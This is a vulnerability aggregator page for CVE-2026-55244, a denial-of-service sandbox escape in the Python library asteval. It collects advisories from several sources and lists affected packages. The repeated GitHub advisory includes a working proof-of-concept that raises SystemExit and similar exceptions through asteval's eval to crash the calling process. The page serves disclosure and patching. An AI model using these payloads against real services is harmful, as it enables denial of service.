CVE-2026-55244
ASTEVAL: Sandbox Escape via BaseException Subclasses
ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
5.0
ASTEVAL: Sandbox Escape via BaseException Subclasses
ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.
- Record
CVE-2026-55244- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-11-02
EUVDEUVD-2026-78058
5.0
ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.
- Record
EUVD-2026-78058- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-89v8-rhwq-hf77
5.0
asteval has a Sandbox Escape via BaseException Subclasses
Summary
An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit,
KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These
exceptions are subclasses of BaseException but not Exception, so they bypass the
except Exception: safety net in both run() and eval(). The exception propagates
verbatim to the calling application, terminating the process or disrupting signal and
cleanup handlers.
This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.
Affected Code
asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
'BaseException', # ← escapes except Exception:
'BufferError', 'BytesWarning',
...
'GeneratorExit', # ← escapes except Exception:
...
'KeyboardInterrupt', # ← escapes except Exception:
...
'SystemExit', # ← escapes except Exception:
...)
asteval/asteval.py, line 322 — run() exception handler:
except Exception: # ← does NOT catch BaseException subclasses
if with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)
asteval/asteval.py, line 370 — eval() exception handler:
except Exception: # ← same gap
if show_errors and not raise_errors:
...
asteval/asteval.py, line 264 — raise_exception() raises the class directly:
raise exc(self.error_msg) # ← when exc=SystemExit, escapes both handlers above
Root Cause
Python's exception hierarchy has two distinct branches under BaseException:
BaseException
├── SystemExit ← NOT caught by except Exception:
├── KeyboardInterrupt ← NOT caught by except Exception:
├── GeneratorExit ← NOT caught by except Exception:
└── Exception ← caught normally
├── RuntimeError
├── ValueError
└── ...
FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes
raise SystemExit("msg"), the on_raise() handler calls:
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')
which executes raise SystemExit(msg). This propagates through both except Exception:
guards unchecked and surfaces in the calling application.
Proof of Concept
from asteval import Interpreter
# Variant 1: terminate the process
aeval = Interpreter()
try:
aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")
# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")
# Variant 3: GeneratorExit
aeval = Interpreter()
try:
aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")
# Variant 4: BaseException base class
aeval = Interpreter()
try:
aeval.eval('raise BaseException("base escape")')
except BaseException as e:
if not isinstance(e, Exception):
print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")
Output (tested on asteval 1.0.6, Python 3.11/3.12):
[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'
Real-world…
- Record
GHSA-89v8-rhwq-hf77- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-11-02
NVD
5.0
ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.
- Record
CVE-2026-55244- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-11-02
OSV
5.0
ASTEVAL: Sandbox Escape via BaseException Subclasses
ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.
- Record
CVE-2026-55244- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-55244
5.0
ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.
- Record
DEBIAN-CVE-2026-55244- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 4 moreShow less
OSVGHSA-89v8-rhwq-hf77
5.0
asteval has a Sandbox Escape via BaseException Subclasses
Summary
An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit,
KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These
exceptions are subclasses of BaseException but not Exception, so they bypass the
except Exception: safety net in both run() and eval(). The exception propagates
verbatim to the calling application, terminating the process or disrupting signal and
cleanup handlers.
This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.
Affected Code
asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
'BaseException', # ← escapes except Exception:
'BufferError', 'BytesWarning',
...
'GeneratorExit', # ← escapes except Exception:
...
'KeyboardInterrupt', # ← escapes except Exception:
...
'SystemExit', # ← escapes except Exception:
...)
asteval/asteval.py, line 322 — run() exception handler:
except Exception: # ← does NOT catch BaseException subclasses
if with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)
asteval/asteval.py, line 370 — eval() exception handler:
except Exception: # ← same gap
if show_errors and not raise_errors:
...
asteval/asteval.py, line 264 — raise_exception() raises the class directly:
raise exc(self.error_msg) # ← when exc=SystemExit, escapes both handlers above
Root Cause
Python's exception hierarchy has two distinct branches under BaseException:
BaseException
├── SystemExit ← NOT caught by except Exception:
├── KeyboardInterrupt ← NOT caught by except Exception:
├── GeneratorExit ← NOT caught by except Exception:
└── Exception ← caught normally
├── RuntimeError
├── ValueError
└── ...
FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes
raise SystemExit("msg"), the on_raise() handler calls:
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')
which executes raise SystemExit(msg). This propagates through both except Exception:
guards unchecked and surfaces in the calling application.
Proof of Concept
from asteval import Interpreter
# Variant 1: terminate the process
aeval = Interpreter()
try:
aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")
# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")
# Variant 3: GeneratorExit
aeval = Interpreter()
try:
aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")
# Variant 4: BaseException base class
aeval = Interpreter()
try:
aeval.eval('raise BaseException("base escape")')
except BaseException as e:
if not isinstance(e, Exception):
print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")
Output (tested on asteval 1.0.6, Python 3.11/3.12):
[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'
Real-world…
- Record
GHSA-89v8-rhwq-hf77- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Weakness
- CWE-248
- Updated
- 2026-11-02
OSVPYSEC-2026-3807
5.0
asteval has a Sandbox Escape via BaseException Subclasses
Summary
An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit,
KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These
exceptions are subclasses of BaseException but not Exception, so they bypass the
except Exception: safety net in both run() and eval(). The exception propagates
verbatim to the calling application, terminating the process or disrupting signal and
cleanup handlers.
This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.
Affected Code
asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:
FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
'BaseException', # ← escapes except Exception:
'BufferError', 'BytesWarning',
...
'GeneratorExit', # ← escapes except Exception:
...
'KeyboardInterrupt', # ← escapes except Exception:
...
'SystemExit', # ← escapes except Exception:
...)
asteval/asteval.py, line 322 — run() exception handler:
except Exception: # ← does NOT catch BaseException subclasses
if with_raise and self.expr is not None:
self.raise_exception(node, expr=self.expr)
asteval/asteval.py, line 370 — eval() exception handler:
except Exception: # ← same gap
if show_errors and not raise_errors:
...
asteval/asteval.py, line 264 — raise_exception() raises the class directly:
raise exc(self.error_msg) # ← when exc=SystemExit, escapes both handlers above
Root Cause
Python's exception hierarchy has two distinct branches under BaseException:
BaseException
├── SystemExit ← NOT caught by except Exception:
├── KeyboardInterrupt ← NOT caught by except Exception:
├── GeneratorExit ← NOT caught by except Exception:
└── Exception ← caught normally
├── RuntimeError
├── ValueError
└── ...
FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes
raise SystemExit("msg"), the on_raise() handler calls:
self.raise_exception(None, exc=out.__class__, msg=msg, expr='')
which executes raise SystemExit(msg). This propagates through both except Exception:
guards unchecked and surfaces in the calling application.
Proof of Concept
from asteval import Interpreter
# Variant 1: terminate the process
aeval = Interpreter()
try:
aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")
# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")
# Variant 3: GeneratorExit
aeval = Interpreter()
try:
aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")
# Variant 4: BaseException base class
aeval = Interpreter()
try:
aeval.eval('raise BaseException("base escape")')
except BaseException as e:
if not isinstance(e, Exception):
print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")
Output (tested on asteval 1.0.6, Python 3.11/3.12):
[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'
Real-world…
- Record
PYSEC-2026-3807- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-55244
5.0
ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.
- Record
UBUNTU-CVE-2026-55244- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11420-1 No score
python313-asteval-1.0.9-1.1 on GA media
These are all security issues fixed in the python313-asteval-1.0.9-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11420-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
astevalPyPI |
before 1.0.9 | 1.0.9 |
python-astevalDebian:12 |
All versions, plus listed versions 0.9.28-10.9.30-10.9.31-11.0.6-11.0.6-2 |
None known |
python-astevalDebian:13 |
All versions, plus listed versions 1.0.6-2 |
None known |
python-astevalDebian:14 |
All versions, plus listed versions 1.0.6-2 |
None known |
astevalPyPI |
before 1.0.9, plus listed versions 0.90.9.10.9.100.9.110.9.12 Show 38 moreShow less0.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.40.9.50.9.60.9.70.9.80.9.91.0.01.0.11.0.21.0.31.0.41.0.51.0.61.0.71.0.8 |
1.0.9 |
python-astevalUbuntu:20.04:LTS |
All versions, plus listed versions 0.9.12-10.9.12-20.9.17-1 |
None known |
python-astevalUbuntu:22.04:LTS |
All versions, plus listed versions 0.9.19-20.9.25-2 |
None known |
python-astevalUbuntu:24.04:LTS |
All versions, plus listed versions 0.9.30-10.9.31-1 |
None known |
python-astevalUbuntu:26.10 |
All versions, plus listed versions 1.0.6-2 |
None known |
python-astevalUbuntu:26.04:LTS |
All versions, plus listed versions 1.0.6-2 |
None known |
python-astevalopenSUSE:Tumbleweed |
before 1.0.9-1.1 | 1.0.9-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55244 is a medium vulnerability (CVSS 5.0) in Lmfit Asteval, published August 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.18%, the 7th percentile. Fixed in asteval 1.0.9.
References
github.com/lmfit/asteval/security/advisories/GHSA-89v8-rhwq-hf77
github.com/lmfit/asteval/pull/153
github.com/lmfit/asteval/commit/9c625b3674f8d05f206708bb85afca17a87694a4
github.com/lmfit/asteval/commit/c49c99a67acb63eb7410231932250bd820380e45
github.com/lmfit/asteval/releases/tag/1.0.9
github.com/lmfit/asteval/commit/a3e56e7f8ed567a4817684d94213b290359077b4
Show 9 moreShow less
github.com/advisories/GHSA-89v8-rhwq-hf77
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55244.json
nvd.nist.gov/vuln/detail/CVE-2026-55244
security-tracker.debian.org/tracker/CVE-2026-55244
github.com/lmfit/asteval
pypi.org/project/asteval
ubuntu.com/security/CVE-2026-55244
cve.org/CVERecord?id=CVE-2026-55244
suse.com/security/cve/CVE-2026-55244
Left out here: the rest of 3 source descriptions. The JSON record has them.